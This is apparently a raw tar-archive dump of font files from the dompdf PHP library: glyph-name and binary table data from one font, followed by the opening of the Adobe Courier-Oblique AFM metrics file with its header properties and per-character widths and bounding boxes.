alphatonosepsilontonosetatonos	iotatonosupsilondieresistonosalphabetagammadeltaepsilonzetaetathetaiotakappalambdauni03BCnuxiomicronrhosigma1sigmatauupsilonphichipsiomegaiotadieresisupsilondieresisomicrontonosupsilontonos
omegatonosuni03CFuni03D0theta1Upsilon1uni03D3uni03D4phi1omega1uni03D7uni03D8uni03D9uni03DAuni03DBuni03DCuni03DDuni03DEuni03DFuni03E0uni03E1uni03F0uni03F1uni03F2uni03F3uni03F4uni03F5uni03F6uni03F7uni03F8uni03F9uni03FAuni03FBuni03FCuni03FDuni03FEuni03FFuni0400uni0401uni0402uni0403uni0404uni0405uni0406uni0407uni0408uni0409uni040Auni040Buni040Cuni040Duni040Euni040Funi0410uni0411uni0412uni0413uni0414uni0415uni0416uni0417uni0418uni0419uni041Auni041Buni041Cuni041Duni041Euni041Funi0420uni0421uni0422uni0423uni0424uni0425uni0426uni0427uni0428uni0429uni042Auni042Buni042Cuni042Duni042Euni042Funi0430uni0431uni0432uni0433uni0434uni0435uni0436uni0437uni0438uni0439uni043Auni043Buni043Cuni043Duni043Euni043Funi0440uni0441uni0442uni0443uni0444uni0445uni0446uni0447uni0448uni0449uni044Auni044Buni044Cuni044Duni044Euni044Funi0450uni0451uni0452uni0453uni0454uni0455uni0456uni0457uni0458uni0459uni045Auni045Buni045Cuni045Duni045Euni045Funi0462uni0463uni0464uni0465uni046Auni046Buni046Cuni046Duni0470uni0471uni0472uni0473uni0474uni0475uni0476uni0477uni048Cuni048Duni0490uni0491uni0492uni0493uni0494uni0495uni0496uni0497uni0498uni0499uni049Auni049Buni049Euni049Funi04A0uni04A1uni04A2uni04A3uni04A4uni04A5uni04A6uni04A7uni04AAuni04ABuni04ACuni04ADuni04AEuni04AFuni04B0uni04B1uni04B2uni04B3uni04B4uni04B5uni04B6uni04B7uni04BAuni04BBuni04C0uni04C1uni04C2uni04C3uni04C4uni04C7uni04C8uni04CBuni04CCuni04CFuni04D0uni04D1uni04D2uni04D3uni04D4uni04D5uni04D6uni04D7uni04D8uni04D9uni04DAuni04DBuni04DCuni04DDuni04DEuni04DFuni04E0uni04E1uni04E2uni04E3uni04E4uni04E5uni04E6uni04E7uni04E8uni04E9uni04EAuni04EBuni04ECuni04EDuni04EEuni04EFuni04F0uni04F1uni04F2uni04F3uni04F4uni04F5uni04F6uni04F7uni04F8uni04F9uni0510uni0511uni0512uni0513uni0514uni0515uni051Auni051Buni051Cuni051Duni0531uni0532uni0533uni0534uni0535uni0536uni0537uni0538uni0539uni053Auni053Buni053Cuni053Duni053Euni053Funi0540uni0541uni0542uni0543uni0544uni0545uni0546uni0547uni0548uni0549uni054Auni054Buni054Cuni054Duni054Euni054Funi0550uni0551uni0552uni0553uni0554uni0555uni0556uni0559uni055Auni055Buni055Cuni055Duni055Euni055Funi0561uni0562uni0563uni0564uni0565uni0566uni0567uni0568uni0569uni056Auni056Buni056Cuni056Duni056Euni056Funi0570uni0571uni0572uni0573uni0574uni0575uni0576uni0577uni0578uni0579uni057Auni057Buni057Cuni057Duni057Euni057Funi0580uni0581uni0582uni0583uni0584uni0585uni0586uni0587uni0589uni058Auni0E3Funi10A0uni10A1uni10A2uni10A3uni10A4uni10A5uni10A6uni10A7uni10A8uni10A9uni10AAuni10ABuni10ACuni10ADuni10AEuni10AFuni10B0uni10B1uni10B2uni10B3uni10B4uni10B5uni10B6uni10B7uni10B8uni10B9uni10BAuni10BBuni10BCuni10BDuni10BEuni10BFuni10C0uni10C1uni10C2uni10C3uni10C4uni10C5uni10D0uni10D1uni10D2uni10D3uni10D4uni10D5uni10D6uni10D7uni10D8uni10D9uni10DAuni10DBuni10DCuni10DDuni10DEuni10DFuni10E0uni10E1uni10E2uni10E3uni10E4uni10E5uni10E6uni10E7uni10E8uni10E9uni10EAuni10EBuni10ECuni10EDuni10EEuni10EFuni10F0uni10F1uni10F2uni10F3uni10F4uni10F5uni10F6uni10F7uni10F8uni10F9uni10FAuni10FBuni10FCuni1D00uni1D01uni1D02uni1D03uni1D04uni1D05uni1D06uni1D07uni1D08uni1D09uni1D0Auni1D0Buni1D0Cuni1D0Duni1D0Euni1D0Funi1D10uni1D11uni1D12uni1D13uni1D14uni1D15uni1D16uni1D17uni1D18uni1D19uni1D1Auni1D1Buni1D1Cuni1D1Duni1D1Euni1D1Funi1D20uni1D21uni1D22uni1D23uni1D24uni1D25uni1D26uni1D27uni1D28uni1D29uni1D2Auni1D2Buni1D2Cuni1D2Duni1D2Euni1D2Funi1D30uni1D31uni1D32uni1D33uni1D34uni1D35uni1D36uni1D37uni1D38uni1D39uni1D3Auni1D3Buni1D3Cuni1D3Duni1D3Euni1D3Funi1D40uni1D41uni1D42uni1D43uni1D44uni1D45uni1D46uni1D47uni1D48uni1D49uni1D4Auni1D4Buni1D4Cuni1D4Duni1D4Euni1D4Funi1D50uni1D51uni1D52uni1D53uni1D54uni1D55uni1D56uni1D57uni1D58uni1D59uni1D5Auni1D5Buni1D5Cuni1D5Duni1D5Euni1D5Funi1D60uni1D61uni1D62uni1D63uni1D64uni1D65uni1D66uni1D67uni1D68uni1D69uni1D6Auni1D6Buni1D77uni1D78uni1D7Buni1D7Cuni1D7Duni1D7Euni1D7Funi1D85uni1D9Buni1D9Cuni1D9Duni1D9Euni1D9Funi1DA0uni1DA1uni1DA2uni1DA3uni1DA4uni1DA5uni1DA6uni1DA7uni1DA8uni1DA9uni1DAAuni1DABuni1DACuni1DADuni1DAEuni1DAFuni1DB0uni1DB1uni1DB2uni1DB3uni1DB4uni1DB5uni1DB6uni1DB7uni1DB8uni1DB9uni1DBAuni1DBBuni1DBCuni1DBDuni1DBEuni1DBFuni1DC4uni1DC5uni1DC6uni1DC7uni1DC8uni1DC9uni1E00uni1E01uni1E02uni1E03uni1E04uni1E05uni1E06uni1E07uni1E08uni1E09uni1E0Auni1E0Buni1E0Cuni1E0Duni1E0Euni1E0Funi1E10uni1E11uni1E12uni1E13uni1E14uni1E15uni1E16uni1E17uni1E18uni1E19uni1E1Auni1E1Buni1E1Cuni1E1Duni1E1Euni1E1Funi1E20uni1E21uni1E22uni1E23uni1E24uni1E25uni1E26uni1E27uni1E28uni1E29uni1E2Auni1E2Buni1E2Cuni1E2Duni1E2Euni1E2Funi1E30uni1E31uni1E32uni1E33uni1E34uni1E35uni1E36uni1E37uni1E38uni1E39uni1E3Auni1E3Buni1E3Cuni1E3Duni1E3Euni1E3Funi1E40uni1E41uni1E42uni1E43uni1E44uni1E45uni1E46uni1E47uni1E48uni1E49uni1E4Auni1E4Buni1E4Cuni1E4Duni1E4Euni1E4Funi1E50uni1E51uni1E52uni1E53uni1E54uni1E55uni1E56uni1E57uni1E58uni1E59uni1E5Auni1E5Buni1E5Cuni1E5Duni1E5Euni1E5Funi1E60uni1E61uni1E62uni1E63uni1E64uni1E65uni1E66uni1E67uni1E68uni1E69uni1E6Auni1E6Buni1E6Cuni1E6Duni1E6Euni1E6Funi1E70uni1E71uni1E72uni1E73uni1E74uni1E75uni1E76uni1E77uni1E78uni1E79uni1E7Auni1E7Buni1E7Cuni1E7Duni1E7Euni1E7FWgravewgraveWacutewacute	Wdieresis	wdieresisuni1E86uni1E87uni1E88uni1E89uni1E8Auni1E8Buni1E8Cuni1E8Duni1E8Euni1E8Funi1E90uni1E91uni1E92uni1E93uni1E94uni1E95uni1E96uni1E97uni1E98uni1E99uni1E9Auni1E9Buni1E9Cuni1E9Duni1E9Euni1E9Funi1EA0uni1EA1uni1EA2uni1EA3uni1EA4uni1EA5uni1EA6uni1EA7uni1EA8uni1EA9uni1EAAuni1EABuni1EACuni1EADuni1EAEuni1EAFuni1EB0uni1EB1uni1EB2uni1EB3uni1EB4uni1EB5uni1EB6uni1EB7uni1EB8uni1EB9uni1EBAuni1EBBuni1EBCuni1EBDuni1ebeuni1ebFuni1EC0uni1EC1uni1EC2uni1EC3uni1EC4uni1EC5uni1EC6uni1EC7uni1EC8uni1EC9uni1ECAuni1ECBuni1ECCuni1ECDuni1ECEuni1ECFuni1ED0uni1ED1uni1ED2uni1ED3uni1ED4uni1ED5uni1ED6uni1ED7uni1ED8uni1ED9uni1EDAuni1EDBuni1EDCuni1EDDuni1EDEuni1EDFuni1EE0uni1EE1uni1EE2uni1EE3uni1EE4uni1EE5uni1EE6uni1EE7uni1EE8uni1EE9uni1EEAuni1EEBuni1EECuni1EEDuni1EEEuni1EEFuni1EF0uni1EF1Ygraveygraveuni1EF4uni1EF5uni1EF6uni1EF7uni1EF8uni1EF9uni1EFAuni1EFBuni1F00uni1F01uni1F02uni1F03uni1F04uni1F05uni1F06uni1F07uni1F08uni1F09uni1F0Auni1F0Buni1F0Cuni1F0Duni1F0Euni1F0Funi1F10uni1F11uni1F12uni1F13uni1F14uni1F15uni1F18uni1F19uni1F1Auni1F1Buni1F1Cuni1F1Duni1F20uni1F21uni1F22uni1F23uni1F24uni1F25uni1F26uni1F27uni1F28uni1F29uni1F2Auni1F2Buni1F2Cuni1F2Duni1F2Euni1F2Funi1F30uni1F31uni1F32uni1F33uni1F34uni1F35uni1F36uni1F37uni1F38uni1F39uni1F3Auni1F3Buni1F3Cuni1F3Duni1F3Euni1F3Funi1F40uni1F41uni1F42uni1F43uni1F44uni1F45uni1F48uni1F49uni1F4Auni1F4Buni1F4Cuni1F4Duni1F50uni1F51uni1F52uni1F53uni1F54uni1F55uni1F56uni1F57uni1F59uni1F5Buni1F5Duni1F5Funi1F60uni1F61uni1F62uni1F63uni1F64uni1F65uni1F66uni1F67uni1F68uni1F69uni1F6Auni1F6Buni1F6Cuni1F6Duni1F6Euni1F6Funi1F70uni1F71uni1F72uni1F73uni1F74uni1F75uni1F76uni1F77uni1F78uni1F79uni1F7Auni1F7Buni1F7Cuni1F7Duni1F80uni1F81uni1F82uni1F83uni1F84uni1F85uni1F86uni1F87uni1F88uni1F89uni1F8Auni1F8Buni1F8Cuni1F8Duni1F8Euni1F8Funi1F90uni1F91uni1F92uni1F93uni1F94uni1F95uni1F96uni1F97uni1F98uni1F99uni1F9Auni1F9Buni1F9Cuni1F9Duni1F9Euni1F9Funi1FA0uni1FA1uni1FA2uni1FA3uni1FA4uni1FA5uni1FA6uni1FA7uni1FA8uni1FA9uni1FAAuni1FABuni1FACuni1FADuni1FAEuni1FAFuni1FB0uni1FB1uni1FB2uni1FB3uni1FB4uni1FB6uni1FB7uni1FB8uni1FB9uni1FBAuni1FBBuni1FBCuni1FBDuni1FBEuni1FBFuni1FC0uni1FC1uni1FC2uni1FC3uni1FC4uni1FC6uni1FC7uni1FC8uni1FC9uni1FCAuni1FCBuni1FCCuni1FCDuni1FCEuni1FCFuni1FD0uni1FD1uni1FD2uni1FD3uni1FD6uni1FD7uni1FD8uni1FD9uni1FDAuni1FDBuni1FDDuni1FDEuni1FDFuni1FE0uni1FE1uni1FE2uni1FE3uni1FE4uni1FE5uni1FE6uni1FE7uni1FE8uni1FE9uni1FEAuni1FEBuni1FECuni1FEDuni1FEEuni1FEFuni1FF2uni1FF3uni1FF4uni1FF6uni1FF7uni1FF8uni1FF9uni1FFAuni1FFBuni1FFCuni1FFDuni1FFEuni2000uni2001uni2002uni2003uni2004uni2005uni2006uni2007uni2008uni2009uni200Auni200Buni200Cuni200Duni200Euni200Funi2010uni2011
figuredashuni2015uni2016
underscoredbl
quotereverseduni201Funi2023onedotenleadertwodotenleaderuni202Auni202Buni202Cuni202Duni202Euni202Funi2031minuteseconduni2034uni2035uni2036uni2037uni2038	exclamdbluni203Duni203Euni2042uni2045uni2046uni2047uni2048uni2049uni204Buni204Cuni204Duni204Euni204Funi2051uni2052uni2053uni2057uni205Funi2060uni2061uni2062uni2063uni2064uni206Auni206Buni206Cuni206Duni206Euni206Funi2070uni2071uni2074uni2075uni2076uni2077uni2078uni2079uni207Auni207Buni207Cuni207Duni207Euni207Funi2080uni2081uni2082uni2083uni2084uni2085uni2086uni2087uni2088uni2089uni208Auni208Buni208Cuni208Duni208Euni2090uni2091uni2092uni2093uni2094uni2095uni2096uni2097uni2098uni2099uni209Auni209Buni209Cuni20A6Eurouni20AFuni20B1uni20B4uni20B5uni20B8uni20B9uni20BAuni20BDuni2102uni2103uni2109uni210Duni210Euni210Funi2115uni2116uni2119uni211Auni211Duni2124uni2126uni2127uni212Auni212Buni2132uni213Cuni213Duni213Euni213Funi2140uni2141uni2142uni2143uni2144uni2145uni2146uni2147uni2148uni2149uni214Buni214Euni2150uni2151uni2152onethird	twothirdsuni2155uni2156uni2157uni2158uni2159uni215A	oneeighththreeeighthsfiveeighthsseveneighthsuni215Funi2160uni2161uni2162uni2163uni2164uni2165uni2166uni2167uni2168uni2169uni216Auni216Buni216Cuni216Duni216Euni216Funi2170uni2171uni2172uni2173uni2174uni2175uni2176uni2177uni2178uni2179uni217Auni217Buni217Cuni217Duni217Euni217Funi2180uni2181uni2182uni2183uni2184uni2185uni2189	arrowleftarrowup
arrowright	arrowdown	arrowboth	arrowupdnuni2196uni2197uni2198uni2199uni219Auni219Buni219Cuni219Duni219Euni219Funi21A0uni21A1uni21A2uni21A3uni21A4uni21A5uni21A6uni21A7arrowupdnbseuni21A9uni21AAuni21ABuni21ACuni21ADuni21AEuni21AFuni21B0uni21B1uni21B2uni21B3uni21B4carriagereturnuni21B6uni21B7uni21B8uni21B9uni21BAuni21BBuni21BCuni21BDuni21BEuni21BFuni21C0uni21C1uni21C2uni21C3uni21C4uni21C5uni21C6uni21C7uni21C8uni21C9uni21CAuni21CBuni21CCuni21CDuni21CEuni21CFarrowdblleft
arrowdblup
arrowdblrightarrowdbldownarrowdblbothuni21D5uni21D6uni21D7uni21D8uni21D9uni21DAuni21DBuni21DCuni21DDuni21DEuni21DFuni21E0uni21E1uni21E2uni21E3uni21E4uni21E5uni21E6uni21E7uni21E8uni21E9uni21EAuni21EBuni21ECuni21EDuni21EEuni21EFuni21F0uni21F1uni21F2uni21F3uni21F4uni21F5uni21F6uni21F7uni21F8uni21F9uni21FAuni21FBuni21FCuni21FDuni21FEuni21FF	universalexistentialuni2204gradientelement
notelementsuchthatuni220Cuni2210uni2213uni2214uni2215asteriskmathuni2218uni2219uni221Buni221Cproportional
orthogonalangleuni2223uni2224uni2225uni2226
logicaland	logicalorintersectionunionuni222Cuni222Duni2238uni2239uni223Auni223Bsimilaruni223Duni2242uni2243uni2250uni2251uni2252uni2253uni2254uni2255equivalencepropersubsetpropersuperset	notsubsetuni2285reflexsubsetreflexsupersetuni228Cuni228Duni228Euni228Funi2290uni2291uni2292uni2293uni2294
circleplusuni2296circlemultiplyuni2298uni2299uni229Auni229Buni229Cuni229Duni229Euni229Funi22A0uni22A1uni22A2uni22A3uni22A4
perpendicularuni22A6uni22A7uni22A8uni22A9uni22AAuni22ABuni22ACuni22ADuni22AEuni22AFuni22C4dotmathhouseuni2308uni2309uni230Auni230B
revlogicalnotuni2311uni2318uni2319
integraltp
integralbtuni2325uni2328uni237Duni239Buni239Cuni239Duni239Euni239Funi23A0uni23A1uni23A2uni23A3uni23A4uni23A5uni23A6uni23A7uni23A8uni23A9uni23AAuni23ABuni23ACuni23ADuni23AEuni23B7uni23CFuni2423SF100000uni2501SF110000uni2503uni2504uni2505uni2506uni2507uni2508uni2509uni250Auni250BSF010000uni250Duni250Euni250FSF030000uni2511uni2512uni2513SF020000uni2515uni2516uni2517SF040000uni2519uni251Auni251BSF080000uni251Duni251Euni251Funi2520uni2521uni2522uni2523SF090000uni2525uni2526uni2527uni2528uni2529uni252Auni252BSF060000uni252Duni252Euni252Funi2530uni2531uni2532uni2533SF070000uni2535uni2536uni2537uni2538uni2539uni253Auni253BSF050000uni253Duni253Euni253Funi2540uni2541uni2542uni2543uni2544uni2545uni2546uni2547uni2548uni2549uni254Auni254Buni254Cuni254Duni254Euni254FSF430000SF240000SF510000SF520000SF390000SF220000SF210000SF250000SF500000SF490000SF380000SF280000SF270000SF260000SF360000SF370000SF420000SF190000SF200000SF230000SF470000SF480000SF410000SF450000SF460000SF400000SF540000SF530000SF440000uni256Duni256Euni256Funi2570uni2571uni2572uni2573uni2574uni2575uni2576uni2577uni2578uni2579uni257Auni257Buni257Cuni257Duni257Euni257Fupblockuni2581uni2582uni2583dnblockuni2585uni2586uni2587blockuni2589uni258Auni258Blfblockuni258Duni258Euni258Frtblockltshadeshadedkshadeuni2594uni2595uni2596uni2597uni2598uni2599uni259Auni259Buni259Cuni259Duni259Euni259F	filledboxH22073uni25A2uni25A3uni25A4uni25A5uni25A6uni25A7uni25A8uni25A9H18543H18551
filledrectuni25ADuni25AEuni25AFuni25B0uni25B1triagupuni25B3uni25B4uni25B5uni25B6uni25B7uni25B8uni25B9triagrtuni25BBtriagdnuni25BDuni25BEuni25BFuni25C0uni25C1uni25C2uni25C3triaglfuni25C5uni25C6uni25C7uni25C8uni25C9circleuni25CCuni25CDuni25CEH18533uni25D0uni25D1uni25D2uni25D3uni25D4uni25D5uni25D6uni25D7	invbullet	invcircleuni25DAuni25DBuni25DCuni25DDuni25DEuni25DFuni25E0uni25E1uni25E2uni25E3uni25E4uni25E5
openbulletuni25E7uni25E8uni25E9uni25EAuni25EBuni25ECuni25EDuni25EEuni25EFuni25F0uni25F1uni25F2uni25F3uni25F4uni25F5uni25F6uni25F7uni25F8uni25F9uni25FAuni25FBuni25FCuni25FDuni25FEuni25FFuni2600uni2638uni2639	smilefaceinvsmilefacesununi263Ffemaleuni2641maleuni2643uni2644uni2645uni2646uni2647spadeuni2661uni2662clubuni2664heartdiamonduni2667uni2669musicalnotemusicalnotedbluni266Cuni266Duni266Euni266Funi27A1uni27C5uni27C6uni27E0uni27E8uni27E9uni27F0uni27F1uni27F2uni27F3uni27F4uni27F5uni27F6uni27F7uni27F8uni27F9uni27FAuni27FBuni27FCuni27FDuni27FEuni27FFuni2800uni2801uni2802uni2803uni2804uni2805uni2806uni2807uni2808uni2809uni280Auni280Buni280Cuni280Duni280Euni280Funi2810uni2811uni2812uni2813uni2814uni2815uni2816uni2817uni2818uni2819uni281Auni281Buni281Cuni281Duni281Euni281Funi2820uni2821uni2822uni2823uni2824uni2825uni2826uni2827uni2828uni2829uni282Auni282Buni282Cuni282Duni282Euni282Funi2830uni2831uni2832uni2833uni2834uni2835uni2836uni2837uni2838uni2839uni283Auni283Buni283Cuni283Duni283Euni283Funi2840uni2841uni2842uni2843uni2844uni2845uni2846uni2847uni2848uni2849uni284Auni284Buni284Cuni284Duni284Euni284Funi2850uni2851uni2852uni2853uni2854uni2855uni2856uni2857uni2858uni2859uni285Auni285Buni285Cuni285Duni285Euni285Funi2860uni2861uni2862uni2863uni2864uni2865uni2866uni2867uni2868uni2869uni286Auni286Buni286Cuni286Duni286Euni286Funi2870uni2871uni2872uni2873uni2874uni2875uni2876uni2877uni2878uni2879uni287Auni287Buni287Cuni287Duni287Euni287Funi2880uni2881uni2882uni2883uni2884uni2885uni2886uni2887uni2888uni2889uni288Auni288Buni288Cuni288Duni288Euni288Funi2890uni2891uni2892uni2893uni2894uni2895uni2896uni2897uni2898uni2899uni289Auni289Buni289Cuni289Duni289Euni289Funi28A0uni28A1uni28A2uni28A3uni28A4uni28A5uni28A6uni28A7uni28A8uni28A9uni28AAuni28ABuni28ACuni28ADuni28AEuni28AFuni28B0uni28B1uni28B2uni28B3uni28B4uni28B5uni28B6uni28B7uni28B8uni28B9uni28BAuni28BBuni28BCuni28BDuni28BEuni28BFuni28C0uni28C1uni28C2uni28C3uni28C4uni28C5uni28C6uni28C7uni28C8uni28C9uni28CAuni28CBuni28CCuni28CDuni28CEuni28CFuni28D0uni28D1uni28D2uni28D3uni28D4uni28D5uni28D6uni28D7uni28D8uni28D9uni28DAuni28DBuni28DCuni28DDuni28DEuni28DFuni28E0uni28E1uni28E2uni28E3uni28E4uni28E5uni28E6uni28E7uni28E8uni28E9uni28EAuni28EBuni28ECuni28EDuni28EEuni28EFuni28F0uni28F1uni28F2uni28F3uni28F4uni28F5uni28F6uni28F7uni28F8uni28F9uni28FAuni28FBuni28FCuni28FDuni28FEuni28FFuni2900uni2901uni2902uni2903uni2904uni2905uni2906uni2907uni2908uni2909uni290Auni290Buni290Cuni290Duni290Euni290Funi2910uni2911uni2912uni2913uni2914uni2915uni2916uni2917uni2918uni2919uni291Auni291Buni291Cuni291Duni291Euni291Funi2920uni2921uni2922uni2923uni2924uni2925uni2926uni2927uni2928uni2929uni292Auni292Buni292Cuni292Duni292Euni292Funi2930uni2931uni2932uni2933uni2934uni2935uni2936uni2937uni2938uni2939uni293Auni293Buni293Cuni293Duni293Euni293Funi2940uni2941uni2942uni2943uni2944uni2945uni2946uni2947uni2948uni2949uni294Auni294Buni294Cuni294Duni294Euni294Funi2950uni2951uni2952uni2953uni2954uni2955uni2956uni2957uni2958uni2959uni295Auni295Buni295Cuni295Duni295Euni295Funi2960uni2961uni2962uni2963uni2964uni2965uni2966uni2967uni2968uni2969uni296Auni296Buni296Cuni296Duni296Euni296Funi2970uni2971uni2972uni2973uni2974uni2975uni2976uni2977uni2978uni2979uni297Auni297Buni297Cuni297Duni297Euni297Funi29EBuni2A0Cuni2A0Duni2A0Euni2A2Funi2A6Auni2A6Buni2B00uni2B01uni2B02uni2B03uni2B04uni2B05uni2B06uni2B07uni2B08uni2B09uni2B0Auni2B0Buni2B0Cuni2B0Duni2B0Euni2B0Funi2B10uni2B11uni2B12uni2B13uni2B14uni2B15uni2B16uni2B17uni2B18uni2B19uni2B1Auni2C60uni2C61uni2C63uni2C64uni2C67uni2C68uni2C69uni2C6Auni2C6Buni2C6Cuni2C6Duni2C6Euni2C6Funi2C70uni2C71uni2C72uni2C73uni2C75uni2C76uni2C77uni2C79uni2C7Auni2C7Buni2C7Cuni2C7Duni2C7Euni2C7Funi2D00uni2D01uni2D02uni2D03uni2D04uni2D05uni2D06uni2D07uni2D08uni2D09uni2D0Auni2D0Buni2D0Cuni2D0Duni2D0Euni2D0Funi2D10uni2D11uni2D12uni2D13uni2D14uni2D15uni2D16uni2D17uni2D18uni2D19uni2D1Auni2D1Buni2D1Cuni2D1Duni2D1Euni2D1Funi2D20uni2D21uni2D22uni2D23uni2D24uni2D25uni2E18uni2E1Funi2E22uni2E23uni2E24uni2E25uni2E2EuniA644uniA645uniA646uniA647uniA650uniA651uniA654uniA655uniA656uniA657uniA698uniA699uniA708uniA709uniA70AuniA70BuniA70CuniA70DuniA70EuniA70FuniA710uniA711uniA712uniA713uniA714uniA715uniA716uniA71BuniA71CuniA71DuniA71EuniA71FuniA726uniA727uniA728uniA729uniA72AuniA72BuniA72CuniA72DuniA72EuniA72FuniA730uniA731uniA732uniA733uniA734uniA735uniA736uniA737uniA738uniA739uniA73AuniA73BuniA73CuniA73DuniA73EuniA73FuniA740uniA741uniA746uniA747uniA74AuniA74BuniA74EuniA74FuniA768uniA769uniA77BuniA77CuniA780uniA781uniA782uniA783uniA784uniA785uniA786uniA787uniA78BuniA78CuniA78DuniA790uniA791uniA7AAuniA7F8uniA7F9uniA7FAuniA7FBuniA7FCuniA7FDuniA7FEuniA7FFuniF400uniF401uniF402uniF403uniF404uniF405uniF406uniF407uniF408uniF409uniF40AuniF40BuniF40CuniF40DuniF40EuniF40FuniF410uniF411uniF412uniF413uniF414uniF415uniF416uniF417uniF418uniF419uniF41AuniF41BuniF41CuniF41DuniF41EuniF41FuniF420uniF421uniF422uniF423uniF424uniF425uniF426uniF428uniF6C5cyrBrevecyrbreveuniFB00uniFB03uniFB04uniFB05uniFB06uniFE00uniFE01uniFE02uniFE03uniFE04uniFE05uniFE06uniFE07uniFE08uniFE09uniFE0AuniFE0BuniFE0CuniFE0DuniFE0EuniFE0FuniFFF9uniFFFAuniFFFBuniFFFCuniFFFDu1D434u1D435u1D436u1D437u1D438u1D439u1D43Au1D43Bu1D43Cu1D43Du1D43Eu1D43Fu1D440u1D441u1D442u1D443u1D444u1D445u1D446u1D447u1D448u1D449u1D44Au1D44Bu1D44Cu1D44Du1D44Eu1D44Fu1D450u1D451u1D452u1D453u1D454u1D456u1D457u1D458u1D459u1D45Au1D45Bu1D45Cu1D45Du1D45Eu1D45Fu1D460u1D461u1D462u1D463u1D464u1D465u1D466u1D467u1D538u1D539u1D53Bu1D53Cu1D53Du1D53Eu1D540u1D541u1D542u1D543u1D544u1D546u1D54Au1D54Bu1D54Cu1D54Du1D54Eu1D54Fu1D550u1D552u1D553u1D554u1D555u1D556u1D557u1D558u1D559u1D55Au1D55Bu1D55Cu1D55Du1D55Eu1D55Fu1D560u1D561u1D562u1D563u1D564u1D565u1D566u1D567u1D568u1D569u1D56Au1D56Bu1D6A4u1D6A5u1D7D8u1D7D9u1D7DAu1D7DBu1D7DCu1D7DDu1D7DEu1D7DFu1D7E0u1D7E1	dlLtcaronDieresisAcuteTildeGrave
CircumflexCaronuni0311.caseBreve	DotaccentHungarumlautDoublegraveiogonek.dotlessuni0268.dotlessdotaccent.iuni029D.dotlessuni1E2D.dotlessuni1ECB.dotlessEng.alt
brailledotuni03080304uni03040308uni03070304uni03080301uni03080300uni03040301uni03040300uni03030304uni0308030Cuni03030308uni030C0307uni03030301uni03020301uni03020300uni03020303uni03060303uni03060301uni03060300uni03060309uni03020309uni03010307g.altEng.alt2uni01B7.altq.smcp
delta.smcp
theta.smcpxi.smcp
sigma.smcpphi.smcp
omega.smcpexclamdown.casequestiondown.caseuni2E18.casegermandbls.smcpUring.ringless
Dcroat.alt
dcroat.altuni01E4.altuni01E5.altproduct.displayuni2210.displaysummation.displayintegral.displayuni222C.displayuni222D.displayuni2A0C.displayuni2A0D.displayuni2A0E.displayuni221A.extuni221A.topminute.ssty1second.ssty1
uni2034.ssty1
uni2035.ssty1
uni2036.ssty1
uni2037.ssty1uni2057.ssty��@�����$�d�@�$�
�'�d�'�]�}�����2��2������������G���G���}��������2�d��2��d���d���%�x
�%�K��.�����������%�x
��@�������@�%��0�����%��
���@@	��
�
��@I�
���o}������@���:�������]������%�]�@���%�������@����0�d�0�����dd��l~}~2}|{|{z�yx
wv w�vuv utlts�r�qp
q�p
p@o}nm>nkm>lkll�kk@jddj�ih�i�hg]h�h�gf%g]g@f%edde�ddcb�a�`_.`�_.^�]�\K[}Z�YDX�W�V�U�SdRQ2POP}ONA@BLJdI"I�H2GGFE
EDCDkCBCBABA@	A@	@���@S?�>->M=<=K<;
<<@;
:9:]98987
6�545�43432
321	2
2���@�1	0/0D/.//�.
..�-	d-�,+,K+"++@*
*d)(0)A(-(0'-'�&:%
%]$#$S#"##@"! !]   �
�
@#$0S-0�
�k@-��B	d�-�



@�
@8k
	d
}	d2}-2-
S��d��+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++vendor/dompdf/dompdf/lib/fonts/Courier-Oblique.afm000066600000037102151150443010016156 0ustar00StartFontMetrics 4.1
Comment Copyright (c) 1989, 1990, 1991, 1992, 1993, 1997 Adobe Systems Incorporated.  All Rights Reserved.
Comment Creation Date: Thu May  0:00:00 17:37:52 1997
Comment UniqueID 43051
Comment VMusage 16248 75829
FontName Courier-Oblique
FullName Courier Oblique
FamilyName Courier
Weight Medium
ItalicAngle -12
IsFixedPitch true
CharacterSet ExtendedRoman
FontBBox -27 -250 849 805
UnderlinePosition -100
UnderlineThickness 50
Version 003.000
Notice Copyright (c) 1989, 1990, 1991, 1992, 1993, 1997 Adobe Systems Incorporated.  All Rights Reserved.
EncodingScheme WinAnsiEncoding
CapHeight 562
XHeight 426
Ascender 629
Descender -157
StdHW 51
StdVW 51
StartCharMetrics 317
C 32 ; WX 600 ; N space ; B 0 0 0 0 ;
C 160 ; WX 600 ; N space ; B 0 0 0 0 ;
C 33 ; WX 600 ; N exclam ; B 243 -15 464 572 ;
C 34 ; WX 600 ; N quotedbl ; B 273 328 532 562 ;
C 35 ; WX 600 ; N numbersign ; B 133 -32 596 639 ;
C 36 ; WX 600 ; N dollar ; B 108 -126 596 662 ;
C 37 ; WX 600 ; N percent ; B 134 -15 599 622 ;
C 38 ; WX 600 ; N ampersand ; B 87 -15 580 543 ;
C 146 ; WX 600 ; N quoteright ; B 283 328 495 562 ;
C 40 ; WX 600 ; N parenleft ; B 313 -108 572 622 ;
C 41 ; WX 600 ; N parenright ; B 137 -108 396 622 ;
C 42 ; WX 600 ; N asterisk ; B 212 257 580 607 ;
C 43 ; WX 600 ; N plus ; B 129 44 580 470 ;
C 44 ; WX 600 ; N comma ; B 157 -112 370 122 ;
C 45 ; WX 600 ; N hyphen ; B 152 231 558 285 ;
C 173 ; WX 600 ; N hyphen ; B 152 231 558 285 ;
C 46 ; WX 600 ; N period ; B 238 -15 382 109 ;
C 47 ; WX 600 ; N slash ; B 112 -80 604 629 ;
C 48 ; WX 600 ; N zero ; B 154 -15 575 622 ;
C 49 ; WX 600 ; N one ; B 98 0 515 622 ;
C 50 ; WX 600 ; N two ; B 70 0 568 622 ;
C 51 ; WX 600 ; N three ; B 82 -15 538 622 ;
C 52 ; WX 600 ; N four ; B 108 0 541 622 ;
C 53 ; WX 600 ; N five ; B 99 -15 589 607 ;
C 54 ; WX 600 ; N six ; B 155 -15 629 622 ;
C 55 ; WX 600 ; N seven ; B 182 0 612 607 ;
C 56 ; WX 600 ; N eight ; B 132 -15 588 622 ;
C 57 ; WX 600 ; N nine ; B 93 -15 574 622 ;
C 58 ; WX 600 ; N colon ; B 238 -15 441 385 ;
C 59 ; WX 600 ; N semicolon ; B 157 -112 441 385 ;
C 60 ; WX 600 ; N less ; B 96 42 610 472 ;
C 61 ; WX 600 ; N equal ; B 109 138 600 376 ;
